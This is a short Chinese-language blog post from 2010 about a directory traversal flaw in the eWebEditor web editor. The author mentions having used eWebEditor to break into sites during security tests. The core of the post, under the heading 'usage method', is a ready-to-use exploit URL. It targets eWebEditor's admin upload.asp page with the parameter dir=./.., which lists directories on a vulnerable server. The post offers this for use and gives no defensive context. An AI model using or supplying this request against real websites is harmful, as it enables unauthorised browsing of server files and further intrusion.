eWebEditor遍历目录漏洞

当前位置: 首页 >> 技巧资料 >> 正文

发表于 2010-02-22 和 22:31:34 | 作者: kcoffee

想想很久之前做网站安全测试的时候经常用eWebEditor来突破，没想到现在还有呵呵！

利用方法：

http://<span style="color: #000000;">网址</span>/admin/ewebeditor/admin/upload.asp?id=16&amp;d_viewmode=&amp;dir =./..

评论被关闭。